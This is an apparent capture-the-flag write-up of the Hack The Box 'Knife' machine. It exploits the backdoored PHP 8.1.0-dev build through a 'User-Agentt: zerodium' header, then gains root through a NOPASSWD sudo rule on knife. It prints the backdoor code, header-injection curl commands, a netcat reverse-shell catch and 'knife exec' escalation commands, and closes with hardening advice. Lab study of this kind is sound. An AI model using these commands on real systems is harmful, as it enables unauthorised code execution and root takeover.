Knife — PHP 8.1.0-dev Backdoor RCE and NOPASSWD knife Escalation
- Tools
- nmap, curl, netcat, sudo, knife
- Skill demonstrated
- Supply-chain backdoor exploitation and NOPASSWD sudo abuse
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Linux (Ubuntu 20.04) running Apache 2.4.41 and a backdoored PHP 8.1.0-dev build |
| Starting position | Unauthenticated network access |
| Objective | Gain unauthenticated code execution through a backdoored PHP build and escalate to root through a NOPASSWD sudo rule |
| Outcome | Code execution as the web user, then a root shell through knife exec |
Summary
Section titled “Summary”Knife is an Easy-rated Hack The Box Linux machine built on a supply-chain compromise: a backdoor was inserted into the development build of PHP 8.1.0-dev, and any web server running that build evaluates PHP code taken from a malformed User-Agentt HTTP header whose value begins with zerodium. That gives unauthenticated remote code execution, and a NOPASSWD sudo rule on the Chef knife binary then converts the foothold into root. Target and attacker addresses, the web account, and the backdoor payload are replaced with role-based placeholders; command syntax is preserved. The header payload after the zerodium prefix is shown as <PHP_EXPRESSION>.
Attack path: Backdoored PHP 8.1.0-dev (User-Agentt header) → unauthenticated RCE as <LAB_USER> → reverse shell → NOPASSWD /usr/bin/knife → knife exec → root
Context and Objective
Section titled “Context and Objective”- Target: Linux host (Ubuntu 20.04) exposing SSH (22/tcp) and HTTP (80/tcp). The web tier runs Apache 2.4.41 and serves a sparse medical-company landing page with no interactive features.
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: obtain code execution through the backdoored build and escalate to root.
- Constraints: activity was confined to the Hack The Box lab environment.
The machine is built on the PHP supply-chain compromise of March 2021. Malicious commits were pushed to the php/php-src repository on git.php.net after a compromise of the project’s git infrastructure, and the changes impersonated trusted maintainers. The injected code checked an incoming request for a header value beginning with zerodium and passed the remainder to the PHP evaluator:
if (strstr(Z_STRVAL_P(enc), "zerodium")) { zend_try { zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "..."); }}The backdoor was detected within hours and never entered an official release, but builds compiled from the compromised snapshot — as this lab simulates — remained exploitable. The malformed header is User-Agentt (note the doubled t), which PHP still processes.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full TCP scan exposes two services.
nmap -p- --min-rate 10000 -oA nmap/allports <TARGET_IP>nmap -p 22,80 -sCV -oA nmap/targeted <TARGET_IP>PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.280/tcp open http Apache httpd 2.4.41 ((Ubuntu))Significance: HTTP is the only application surface; SSH provides no initial vector and no credentials are supplied.
Result: the target exposes SSH and an Apache web service, making the web tier the focus.
2. HTTP Response Header Fingerprinting
Section titled “2. HTTP Response Header Fingerprinting”Observation: version identification of the web tier is more revealing than the page content.
curl -I http://<TARGET_IP>/HTTP/1.1 200 OKServer: Apache/2.4.41 (Ubuntu)X-Powered-By: PHP/8.1.0-devContent-Type: text/html; charset=UTF-8Significance: the X-Powered-By header discloses PHP/8.1.0-dev. The -dev suffix marks a development or pre-release snapshot rather than a stable release — specifically the build produced from the compromised 2021 source.
Result: the target runs the backdoored development build of PHP.
3. Backdoor Verification
Section titled “3. Backdoor Verification”Observation: the backdoor evaluates PHP code from the User-Agentt header when its value begins with zerodium, so code execution can be confirmed with a benign expression before any shell is spawned.
curl -s http://<TARGET_IP>/ \ -H 'User-Agentt: zerodium<PHP_EXPRESSION>;'uid=1000(<LAB_USER>) gid=1000(<LAB_USER>) groups=1000(<LAB_USER>)Significance: the response body returns the output of a shell command executed by the web process, confirming unauthenticated remote code execution in the context of <LAB_USER>.
Result: code execution as the web user is confirmed without authentication.
4. Reverse Shell and Interactive Session
Section titled “4. Reverse Shell and Interactive Session”Observation: the same execution primitive can return an interactive shell to the attacker.
nc -lvnp <LISTEN_PORT>curl -s http://<TARGET_IP>/ \ -H 'User-Agentt: zerodium<PHP_EXPRESSION>;'connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 55806<LAB_USER>@knife:/$Significance: an interactive foothold removes the need to re-issue single commands through the header and enables local enumeration.
The source records that the session was upgraded to an interactive TTY with a Python pty wrapper; no session output accompanies the stabilisation commands.
Result: an interactive shell in the context of <LAB_USER> is established.
5. Sudo Enumeration
Section titled “5. Sudo Enumeration”Observation: sudo -l lists the delegations granted to the web user.
<LAB_USER>@knife:~$ sudo -lUser <LAB_USER> may run the following commands on knife: (root) NOPASSWD: /usr/bin/knifeSignificance: knife is the Chef command-line tool, an infrastructure-as-code utility that supports executing arbitrary Ruby through its exec subcommand. GTFOBins documents knife exec as a canonical escalation path; passwordless root execution of a code-capable binary is effectively unrestricted root.
Result: a NOPASSWD sudo rule permits running /usr/bin/knife as root without a password.
6. Privilege Escalation via knife exec
Section titled “6. Privilege Escalation via knife exec”Observation: knife exec evaluates a Ruby expression, and Ruby’s exec replaces the current process image while inheriting its UID/GID. Because knife runs under sudo, the replacement process runs as root.
<LAB_USER>@knife:~$ sudo /usr/bin/knife exec -E 'exec "/bin/bash"'root@knife:/home/<LAB_USER># iduid=0(root) gid=0(root) groups=0(root)Significance: a binary delegated through NOPASSWD that can invoke an interpreter turns legitimate administrative delegation into full command execution as root.
Result: the privileged id output confirms execution in the root context.
Challenges and Decisions
Section titled “Challenges and Decisions”The source does not document failed attempts or obstacles for this machine; the path was direct — the PHP backdoor supplied unauthenticated code execution and the NOPASSWD rule supplied escalation.
An alternative escalation was available: sudo /usr/bin/knife data bag create <NAME> <ITEM> -e vim opens a data bag in the configured editor, from which a shell escape spawns a root shell. The knife exec route was used as the canonical GTFOBins technique.
Outcome
Section titled “Outcome”The evidence establishes unauthenticated code execution as the web user through the backdoored PHP 8.1.0-dev build, and root command execution through the NOPASSWD sudo rule on /usr/bin/knife. The supply-chain compromise affected only the development snapshot; official PHP releases were never affected.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions below are recommendations; none was tested in the lab.
- Backdoored development build in production. The target ran
PHP/8.1.0-dev, a pre-release snapshot compiled from compromised source, giving an unauthenticated attacker code execution. Recommendation: deploy software only from official, verified release channels and treat any pre-release build string (-dev,-alpha,-beta) as unfit for production. Detection: flag pre-release version strings in inventory and monitoring, and alert on the unexpectedUser-Agenttheader. - Unrestricted
NOPASSWDsudo rules. Delegating/usr/bin/knifewithout a password allowed the low-privileged user to run arbitrary Ruby as root. Recommendation: audit everyNOPASSWDrule against GTFOBins and scope each rule to the specific subcommands required rather than full binary execution. Detection: review sudoers entries and alert on interpreter-backed binaries run throughsudo. - Version disclosure in response headers.
X-Powered-By: PHP/8.1.0-devdisclosed the vulnerable build with no active probing. Recommendation: suppress version banners — setexpose_php = Offinphp.ini,Header unset X-Powered-By, andServerTokens Prodin Apache. Detection: periodically inspect production response headers for version leakage.
References
Section titled “References”- Hack The Box — Knife (retired machine)
- PHP internals — php-src git server compromise notice
- php-src commit 2b0f239 — malicious backdoor change
- GTFOBins — knife
- Nmap Reference Guide
- curl — Command line options
- Sudo — sudoers manual
- PHP — php.ini core directives (
expose_php) - Apache HTTP Server 2.4 — mod_headers (
Header unset) - Apache HTTP Server 2.4 — core (
ServerTokens)